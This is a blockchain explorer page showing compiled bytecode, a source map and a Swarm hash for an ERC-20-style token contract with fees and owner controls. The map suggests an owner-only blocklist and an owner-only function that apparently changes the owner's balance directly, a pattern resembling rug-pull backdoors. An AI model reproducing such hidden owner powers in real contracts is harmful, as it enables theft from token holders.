1453565b90915550506001600160a01b0382165f9081526001602052604081208054839290610ee59084906114b6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a1d91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6457610f646114c9565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fdf919061149b565b81600181518110610ff257610ff26114c9565b6001600160a01b0392831660209182029290920101526007546110189130911684610906565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac947926110549287925f92889291169042906004016114dd565b5f604051808303815f87803b15801561106b575f80fd5b505af192505050801561107c575060015b61077b575050565b47156106fd576009546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156110c0573d5f803e3d5ffd5b50565b5f80826110db5760035462010000900460ff166110e9565b6003546301000000900460ff165b60ff1690505f60646110fb838761143c565b611105919061154e565b9050611112863083610e92565b61111c8186611453565b9695505050505050565b5f602080835283518060208501525f5b8181101561115257858101830151858201604001528201611136565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110c0575f80fd5b5f8060408385031215611197575f80fd5b82356111a281611172565b946020939093013593505050565b5f805f606084860312156111c2575f80fd5b83356111cd81611172565b925060208401356111dd81611172565b929592945050506040919091013590565b5f602082840312156111fe575f80fd5b813561120981611172565b9392505050565b8035801515811461121f575f80fd5b919050565b5f8060408385031215611235575f80fd5b8235915061124560208401611210565b90509250929050565b803560ff8116811461121f575f80fd5b5f806040838503121561126f575f80fd5b6112788361124e565b91506112456020840161124e565b5f805f60408486031215611298575f80fd5b833567ffffffffffffffff808211156112af575f80fd5b818601915086601f8301126112c2575f80fd5b8135818111156112d0575f80fd5b8760208260051b85010111156112e4575f80fd5b6020928301955093506112fa9186019050611210565b90509250925092565b5f8060408385031215611314575f80fd5b823561131f81611172565b9150602083013561132f81611172565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561138857815f190482111561136e5761136e61133a565b8085161561137b57918102915b93841c9390800290611353565b509250929050565b5f8261139e57506001610385565b816113aa57505f610385565b81600181146113c057600281146113ca576113e6565b6001915050610385565b60ff8411156113db576113db61133a565b50506001821b610385565b5060208310610133831016604e8410600b8410161715611409575081810a610385565b611413838361134e565b805f19048211156114265761142661133a565b029392505050565b5f61120960ff841683611390565b80820281158282048414176103855761038561133a565b818103818111156103855761038561133a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156114ab575f80fd5b815161120981611172565b808201808211156103855761038561133a565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561152d5784516001600160a01b031683529383019391830191600101611508565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261156857634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212208a3bfd810ee0876b04d8475b450032609be3c26553e069fdc122b2b5a0d53c4364736f6c63430008170033

Deployed Bytecode Sourcemap

2576:7023:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4081:83;;;;;;;;;;-1:-1:-1;4151:5:0;;;;;;;;;;;-1:-1:-1;;;4151:5:0;;;;4081:83;;;;4151:5;4081:83;:::i;:::-;;;;;;;;4914:161;;;;;;;;;;-1:-1:-1;4914:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;4914:161:0;1023:187:1;4358:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4358:95:0;1215:177:1;5083:266:0;;;;;;;;;;-1:-1:-1;5083:266:0;;;;;:::i;:::-;;:::i;4267:83::-;;;;;;;;;;-1:-1:-1;2922:2:0;4267:83;;;2030:4:1;2018:17;;;2000:36;;1988:2;1973:18;4267:83:0;1858:184:1;2824:24:0;;;;;;;;;;-1:-1:-1;2824:24:0;;;;;;;;;;;4461:119;;;;;;;;;;-1:-1:-1;4461:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4554:18:0;4527:7;4554:18;;;:9;:18;;;;;;;4461:119;773:148;;;;;;;;;;;;;:::i;:::-;;6777:131;;;;;;;;;;;;;:::i;5700:377::-;;;;;;;;;;;;;:::i;559:79::-;;;;;;;;;;-1:-1:-1;597:7:0;624:6;559:79;;-1:-1:-1;;;;;624:6:0;;;2445:51:1;;2433:2;2418:18;559:79:0;2299:203:1;6558:211:0;;;;;;;;;;-1:-1:-1;6558:211:0;;;;;:::i;:::-;;:::i;4588:167::-;;;;;;;;;;-1:-1:-1;4588:167:0;;;;;:::i;:::-;;:::i;6085:210::-;;;;;;;;;;-1:-1:-1;6085:210:0;;;;;:::i;:::-;;:::i;6303:247::-;;;;;;;;;;-1:-1:-1;6303:247:0;;;;;:::i;:::-;;:::i;2855:25::-;;;;;;;;;;-1:-1:-1;2855:25:0;;;;;;;;;;;4763:143;;;;;;;;;;-1:-1:-1;4763:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4871:18:0;;;4844:7;4871:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4763:143;4914:161;4989:4;5006:39;216:10;5029:7;5038:6;5006:8;:39::i;:::-;-1:-1:-1;5063:4:0;4914:161;;;;;:::o;4358:95::-;4411:7;2982:15;2922:2;2982;:15;:::i;:::-;2966:31;;:13;:31;:::i;:::-;4431:14;;4358:95;:::o;5083:266::-;5181:4;5198:36;5208:6;5216:9;5227:6;5198:9;:36::i;:::-;-1:-1:-1;;;;;5276:19:0;;;;;;:11;:19;;;;;;;;216:10;5276:33;;;;;;;;;5245:74;;5254:6;;5276:42;;5312:6;;5276:42;:::i;:::-;5245:8;:74::i;:::-;-1:-1:-1;5337:4:0;5083:266;;;;;:::o;773:148::-;686:6;;-1:-1:-1;;;;;686:6:0;216:10;686:22;678:67;;;;-1:-1:-1;;;678:67:0;;;;;;;:::i;:::-;;;;;;;;;880:1:::1;864:6:::0;;843:40:::1;::::0;-1:-1:-1;;;;;864:6:0;;::::1;::::0;843:40:::1;::::0;880:1;;843:40:::1;911:1;894:19:::0;;-1:-1:-1;;;;;;894:19:0::1;::::0;;773:148::o;6777:131::-;686:6;;-1:-1:-1;;;;;686:6:0;216:10;686:22;678:67;;;;-1:-1:-1;;;678:67:0;;;;;;;:::i;:::-;6845:13:::1;:11;:13::i;:::-;6831:11;:27:::0;6887:13:::1;:11;:13::i;:::-;6869:15;:31:::0;6777:131::o;5700:377::-;686:6;;-1:-1:-1;;;;;686:6:0;216:10;686:22;678:67;;;;-1:-1:-1;;;678:67:0;;;;;;;:::i;:::-;5764:14:::1;::::0;::::1;;5763:15;5755:43;;;::::0;-1:-1:-1;;;5755:43:0;;6808:2:1;5755:43:0::1;::::0;::::1;6790:21:1::0;6847:2;6827:18;;;6820:30;-1:-1:-1;;;6866:18:1;;;6859:45;6921:18;;5755:43:0::1;6606:339:1::0;5755:43:0::1;5809:14;:21:::0;;-1:-1:-1;;5809:21:0::1;5826:4;5809:21;::::0;;5878:6:::1;::::0;5841:15:::1;:44:::0;;-1:-1:-1;;;;;;5841:44:0::1;-1:-1:-1::0;;;;;5878:6:0;;::::1;5841:44:::0;;::::1;::::0;;5930:25:::1;::::0;;-1:-1:-1;;;5930:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;5878:6;5930:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5912:52:0::1;;5973:4;5980:15;;;;;;;;;-1:-1:-1::0;;;;;5980:15:0::1;-1:-1:-1::0;;;;;5980:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5912:91;::::0;-1:-1:-1;;;;;;5912:91:0::1;::::0;;;;;;-1:-1:-1;;;;;7436:15:1;;;5912:91:0::1;::::0;::::1;7418:34:1::0;7488:15;;7468:18;;;7461:43;7353:18;;5912:91:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5896:13;:107:::0;;-1:-1:-1;;;;;;5896:107:0::1;-1:-1:-1::0;;;;;5896:107:0;;;::::1;::::0;;::::1;::::0;;6014:55:::1;;;::::0;-1:-1:-1;;;6014:55:0;;7717:2:1;6014:55:0::1;::::0;::::1;7699:21:1::0;7756:2;7736:18;;;7729:30;-1:-1:-1;;;7775:18:1;;;7768:45;7830:18;;6014:55:0::1;7515:339:1::0;6014:55:0::1;5700:377::o:0;6558:211::-;686:6;;-1:-1:-1;;;;;686:6:0;216:10;686:22;678:67;;;;-1:-1:-1;;;678:67:0;;;;;;;:::i;:::-;6633:4:::1;6629:89;;;6664:10;6654:21;::::0;;;:9:::1;:21;::::0;;;;:31;;6679:6;;6654:21;:31:::1;::::0;6679:6;;6654:31:::1;:::i;:::-;::::0;;;-1:-1:-1;6700:7:0::1;::::0;-1:-1:-1;6700:7:0::1;6629:89;6740:10;6730:21;::::0;;;:9:::1;:21;::::0;;;;:31;;6755:6;;6730:21;:31:::1;::::0;6755:6;;6730:31:::1;:::i;:::-;::::0;;;-1:-1:-1;;756:1:0::1;6558:211:::0;;:::o;4588:167::-;4666:4;4683:42;216:10;4707:9;4718:6;4683:9;:42::i;6085:210::-;686:6;;-1:-1:-1;;;;;686:6:0;216:10;686:22;678:67;;;;-1:-1:-1;;;678:67:0;;;;;;;:::i;:::-;6187:3:::1;6174:9;:16;;;;:37;;;;;6208:3;6194:10;:17;;;;6174:37;6166:61;;;::::0;-1:-1:-1;;;6166:61:0;;8191:2:1;6166:61:0::1;::::0;::::1;8173:21:1::0;8230:2;8210:18;;;8203:30;-1:-1:-1;;;8249:18:1;;;8242:41;8300:18;;6166:61:0::1;7989:335:1::0;6166:61:0::1;6238:6;:18:::0;;-1:-1:-1;;6267:20:0;6238:18;::::1;::::0;;::::1;;-1:-1:-1::0;;6267:20:0;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;6085:210::o;6303:247::-;686:6;;-1:-1:-1;;;;;686:6:0;216:10;686:22;678:67;;;;-1:-1:-1;;;678:67:0;;;;;;;:::i;:::-;6404:16;6396:40:::1;;;::::0;-1:-1:-1;;;6396:40:0;;8531:2:1;6396:40:0::1;::::0;::::1;8513:21:1::0;8570:2;8550:18;;;8543:30;-1:-1:-1;;;8589:18:1;;;8582:41;8640:18;;6396:40:0::1;8329:335:1::0;6396:40:0::1;6452:9;6447:96;6463:16:::0;;::::1;6447:96;;;6524:7;6501:10;:20;6512:5;;6518:1;6512:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6501:20:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6501:20:0;:30;;-1:-1:-1;;6501:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;6481:3:0::1;6447:96;;;;6303:247:::0;;;:::o;5357:335::-;-1:-1:-1;;;;;5450:19:0;;5442:68;;;;-1:-1:-1;;;5442:68:0;;9003:2:1;5442:68:0;;;8985:21:1;9042:2;9022:18;;;9015:30;9081:34;9061:18;;;9054:62;-1:-1:-1;;;9132:18:1;;;9125:34;9176:19;;5442:68:0;8801:400:1;5442:68:0;-1:-1:-1;;;;;5529:21:0;;5521:68;;;;-1:-1:-1;;;5521:68:0;;9408:2:1;5521:68:0;;;9390:21:1;9447:2;9427:18;;;9420:30;9486:34;9466:18;;;9459:62;-1:-1:-1;;;9537:18:1;;;9530:32;9579:19;;5521:68:0;9206:398:1;5521:68:0;-1:-1:-1;;;;;5600:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5652:32;;1361:25:1;;;5652:32:0;;1334:18:1;5652:32:0;;;;;;;;5357:335;;;:::o;7121:1490::-;7219:1;7210:6;:10;7202:34;;;;-1:-1:-1;;;7202:34:0;;9811:2:1;7202:34:0;;;9793:21:1;9850:2;9830:18;;;9823:30;-1:-1:-1;;;9869:18:1;;;9862:41;9920:18;;7202:34:0;9609:335:1;7202:34:0;-1:-1:-1;;;;;7256:16:0;;;;;;:10;:16;;;;;;;;7255:17;:36;;;;-1:-1:-1;;;;;;7277:14:0;;;;;;:10;:14;;;;;;;;7276:15;7255:36;7247:61;;;;-1:-1:-1;;;7247:61:0;;10151:2:1;7247:61:0;;;10133:21:1;10190:2;10170:18;;;10163:30;-1:-1:-1;;;10209:18:1;;;10202:42;10261:18;;7247:61:0;9949:336:1;7247:61:0;7326:14;;;;7321:146;;-1:-1:-1;;;;;7365:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;7393:22:0;;;;;;:18;:22;;;;;;;;7365:50;:66;;;-1:-1:-1;7425:6:0;;-1:-1:-1;;;;;7419:12:0;;;7425:6;;7419:12;7365:66;7357:98;;;;-1:-1:-1;;;7357:98:0;;10492:2:1;7357:98:0;;;10474:21:1;10531:2;10511:18;;;10504:30;-1:-1:-1;;;10550:18:1;;;10543:49;10609:18;;7357:98:0;10290:343:1;7357:98:0;7491:13;;-1:-1:-1;;;;;7483:21:0;;;7491:13;;7483:21;;;;:44;;-1:-1:-1;7514:13:0;;-1:-1:-1;;;;;7508:19:0;;;7514:13;;7508:19;;7483:44;:72;;;-1:-1:-1;;;;;;7531:24:0;;;;;;:18;:24;;;;;;;;7483:72;:98;;;-1:-1:-1;;;;;;7559:22:0;;;;;;:18;:22;;;;;;;;7483:98;:110;;;-1:-1:-1;7585:8:0;;;;;;;7483:110;7479:196;;;7610:32;7625:4;7631:2;7635:6;7610:14;:32::i;:::-;7121:1490;;;:::o;7479:196::-;7697:13;;-1:-1:-1;;;;;7697:13:0;;;7691:19;;;;7687:487;;7750:13;:11;:13::i;:::-;7735:11;;:28;;:106;;;-1:-1:-1;;;;;;7783:19:0;;;;;;:13;:19;;;;;;:23;;7805:1;7783:23;:::i;:::-;7768:12;:38;:72;;;;-1:-1:-1;;;;;;7820:20:0;;;;;;:14;:20;;;;;;7810:30;;;7768:72;7727:139;;;;-1:-1:-1;;;7727:139:0;;10840:2:1;7727:139:0;;;10822:21:1;10879:2;10859:18;;;10852:30;-1:-1:-1;;;10898:18:1;;;10891:50;10958:18;;7727:139:0;10638:344:1;7727:139:0;-1:-1:-1;;;;;7881:20:0;;;;;;:14;:20;;;;;:30;;7905:6;;7881:20;:30;;7905:6;;7881:30;:::i;:::-;;;;-1:-1:-1;;7958:18:0;;7948:4;4527:7;4554:18;;;:9;:18;;;;;;7930:46;7926:237;;7997:8;:15;;-1:-1:-1;;7997:15:0;;;;;8031:42;8048:24;8066:4;-1:-1:-1;;;;;4554:18:0;4527:7;4554:18;;;:9;:18;;;;;;;4461:119;8048:24;8031:16;:42::i;:::-;8092:8;:16;;-1:-1:-1;;8092:16:0;;;8127:20;:18;:20::i;:::-;8198:13;;-1:-1:-1;;;;;8190:21:0;;;8198:13;;8190:21;:37;;;;-1:-1:-1;8221:6:0;;-1:-1:-1;;;;;8215:12:0;;;8221:6;;8215:12;;8190:37;8186:311;;;8262:11;;8252:6;:21;;8244:52;;;;-1:-1:-1;;;8244:52:0;;11189:2:1;8244:52:0;;;11171:21:1;11228:2;11208:18;;;11201:30;-1:-1:-1;;;11247:18:1;;;11240:48;11305:18;;8244:52:0;10987:342:1;8244:52:0;8354:15;;8344:6;8319:22;8337:2;-1:-1:-1;;;;;4554:18:0;4527:7;4554:18;;;:9;:18;;;;;;;4461:119;8319:22;:31;;;;:::i;:::-;:50;;8311:85;;;;-1:-1:-1;;;8311:85:0;;11536:2:1;8311:85:0;;;11518:21:1;11575:2;11555:18;;;11548:30;-1:-1:-1;;;11594:18:1;;;11587:52;11656:18;;8311:85:0;11334:346:1;8311:85:0;-1:-1:-1;;;;;8411:17:0;;;;;;:13;:17;;;;;;;;8431:12;8411:32;;8458:14;:18;;;;;:27;;;8186:311;8546:13;;8518:42;;8526:4;;8532:6;;-1:-1:-1;;;;;8540:19:0;;;8546:13;;8540:19;8518:7;:42::i;:::-;8509:51;;8571:32;8586:4;8592:2;8596:6;6916:197;-1:-1:-1;;;;;7002:15:0;;;;;;:9;:15;;;;;:25;;7021:6;;7002:15;:25;;7021:6;;7002:25;:::i;:::-;;;;-1:-1:-1;;;;;;;7038:13:0;;;;;;:9;:13;;;;;:23;;7055:6;;7038:13;:23;;7055:6;;7038:23;:::i;:::-;;;;;;;;7094:2;-1:-1:-1;;;;;7079:26:0;7088:4;-1:-1:-1;;;;;7079:26:0;;7098:6;7079:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;8916:516:0;9007:16;;;9021:1;9007:16;;;;;;;;8983:21;;9007:16;;;;;;;;;;-1:-1:-1;9007:16:0;8983:40;;9052:4;9034;9039:1;9034:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9034:23:0;;;:7;;;;;;;;;;:23;;;;9078:15;;:22;;;-1:-1:-1;;;9078:22:0;;;;:15;;;;;:20;;:22;;;;;9034:7;;9078:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9068:4;9073:1;9068:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9068:32:0;;;:7;;;;;;;;;:32;9145:15;;9113:62;;9130:4;;9145:15;9163:11;9113:8;:62::i;:::-;9190:15;;9332:9;;9190:192;;-1:-1:-1;;;9190:192:0;;-1:-1:-1;;;;;9190:15:0;;;;:66;;:192;;9271:11;;9190:15;;9313:4;;9332:9;;;9356:15;;9190:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9186:239;;9407:7;8916:516;:::o;9440:156::-;9494:21;:25;9490:99;;9536:9;;:41;;-1:-1:-1;;;;;9536:9:0;;;;9555:21;9536:41;;;;;:9;:41;:9;:41;9555:21;9536:9;:41;;;;;;;;;;;;;;;;;;;;;9440:156::o;8619:289::-;8697:7;8717:11;8731:6;:25;;8750:6;;;;;;;8731:25;;;8740:7;;;;;;;8731:25;8717:39;;;-1:-1:-1;8767:17:0;8802:3;8787:12;8717:39;8787:6;:12;:::i;:::-;:18;;;;:::i;:::-;8767:38;;8818:46;8833:4;8847;8854:9;8818:14;:46::i;:::-;8882:18;8891:9;8882:6;:18;:::i;:::-;8875:25;8619:289;-1:-1:-1;;;;;;8619:289:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2507:160::-;2572:20;;2628:13;;2621:21;2611:32;;2601:60;;2657:1;2654;2647:12;2601:60;2507:160;;;:::o;2672:248::-;2737:6;2745;2798:2;2786:9;2777:7;2773:23;2769:32;2766:52;;;2814:1;2811;2804:12;2766:52;2850:9;2837:23;2827:33;;2879:35;2910:2;2899:9;2895:18;2879:35;:::i;:::-;2869:45;;2672:248;;;;;:::o;2925:156::-;2991:20;;3051:4;3040:16;;3030:27;;3020:55;;3071:1;3068;3061:12;3086:252;3150:6;3158;3211:2;3199:9;3190:7;3186:23;3182:32;3179:52;;;3227:1;3224;3217:12;3179:52;3250:27;3267:9;3250:27;:::i;:::-;3240:37;;3296:36;3328:2;3317:9;3313:18;3296:36;:::i;3343:689::-;3435:6;3443;3451;3504:2;3492:9;3483:7;3479:23;3475:32;3472:52;;;3520:1;3517;3510:12;3472:52;3560:9;3547:23;3589:18;3630:2;3622:6;3619:14;3616:34;;;3646:1;3643;3636:12;3616:34;3684:6;3673:9;3669:22;3659:32;;3729:7;3722:4;3718:2;3714:13;3710:27;3700:55;;3751:1;3748;3741:12;3700:55;3791:2;3778:16;3817:2;3809:6;3806:14;3803:34;;;3833:1;3830;3823:12;3803:34;3888:7;3881:4;3871:6;3868:1;3864:14;3860:2;3856:23;3852:34;3849:47;3846:67;;;3909:1;3906;3899:12;3846:67;3940:4;3932:13;;;;-1:-1:-1;3964:6:1;-1:-1:-1;3989:37:1;;4005:20;;;-1:-1:-1;3989:37:1;:::i;:::-;3979:47;;3343:689;;;;;:::o;4037:388::-;4105:6;4113;4166:2;4154:9;4145:7;4141:23;4137:32;4134:52;;;4182:1;4179;4172:12;4134:52;4221:9;4208:23;4240:31;4265:5;4240:31;:::i;:::-;4290:5;-1:-1:-1;4347:2:1;4332:18;;4319:32;4360:33;4319:32;4360:33;:::i;:::-;4412:7;4402:17;;;4037:388;;;;;:::o;4430:127::-;4491:10;4486:3;4482:20;4479:1;4472:31;4522:4;4519:1;4512:15;4546:4;4543:1;4536:15;4562:416;4651:1;4688:5;4651:1;4702:270;4723:7;4713:8;4710:21;4702:270;;;4782:4;4778:1;4774:6;4770:17;4764:4;4761:27;4758:53;;;4791:18;;:::i;:::-;4841:7;4831:8;4827:22;4824:55;;;4861:16;;;;4824:55;4940:22;;;;4900:15;;;;4702:270;;;4706:3;4562:416;;;;;:::o;4983:806::-;5032:5;5062:8;5052:80;;-1:-1:-1;5103:1:1;5117:5;;5052:80;5151:4;5141:76;;-1:-1:-1;5188:1:1;5202:5;;5141:76;5233:4;5251:1;5246:59;;;;5319:1;5314:130;;;;5226:218;;5246:59;5276:1;5267:10;;5290:5;;;5314:130;5351:3;5341:8;5338:17;5335:43;;;5358:18;;:::i;:::-;-1:-1:-1;;5414:1:1;5400:16;;5429:5;;5226:218;;5528:2;5518:8;5515:16;5509:3;5503:4;5500:13;5496:36;5490:2;5480:8;5477:16;5472:2;5466:4;5463:12;5459:35;5456:77;5453:159;;;-1:-1:-1;5565:19:1;;;5597:5;;5453:159;5644:34;5669:8;5663:4;5644:34;:::i;:::-;5714:6;5710:1;5706:6;5702:19;5693:7;5690:32;5687:58;;;5725:18;;:::i;:::-;5763:20;;4983:806;-1:-1:-1;;;4983:806:1:o;5794:140::-;5852:5;5881:47;5922:4;5912:8;5908:19;5902:4;5881:47;:::i;5939:168::-;6012:9;;;6043;;6060:15;;;6054:22;;6040:37;6030:71;;6081:18;;:::i;6112:128::-;6179:9;;;6200:11;;;6197:37;;;6214:18;;:::i;6245:356::-;6447:2;6429:21;;;6466:18;;;6459:30;6525:34;6520:2;6505:18;;6498:62;6592:2;6577:18;;6245:356::o;6950:251::-;7020:6;7073:2;7061:9;7052:7;7048:23;7044:32;7041:52;;;7089:1;7086;7079:12;7041:52;7121:9;7115:16;7140:31;7165:5;7140:31;:::i;7859:125::-;7924:9;;;7945:10;;;7942:36;;;7958:18;;:::i;8669:127::-;8730:10;8725:3;8721:20;8718:1;8711:31;8761:4;8758:1;8751:15;8785:4;8782:1;8775:15;11817:988;12087:4;12135:3;12124:9;12120:19;12166:6;12155:9;12148:25;12192:2;12230:6;12225:2;12214:9;12210:18;12203:34;12273:3;12268:2;12257:9;12253:18;12246:31;12297:6;12332;12326:13;12363:6;12355;12348:22;12401:3;12390:9;12386:19;12379:26;;12440:2;12432:6;12428:15;12414:29;;12461:1;12471:195;12485:6;12482:1;12479:13;12471:195;;;12550:13;;-1:-1:-1;;;;;12546:39:1;12534:52;;12641:15;;;;12606:12;;;;12582:1;12500:9;12471:195;;;-1:-1:-1;;;;;;;12722:32:1;;;;12717:2;12702:18;;12695:60;-1:-1:-1;;;12786:3:1;12771:19;12764:35;12683:3;11817:988;-1:-1:-1;;;11817:988:1:o;12810:217::-;12850:1;12876;12866:132;;12920:10;12915:3;12911:20;12908:1;12901:31;12955:4;12952:1;12945:15;12983:4;12980:1;12973:15;12866:132;-1:-1:-1;13012:9:1;;12810:217::o

Swarm Source

ipfs://8a3bfd810ee0876b04d8475b450032609be3c26553e069fdc122b2b5a0d53c43
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.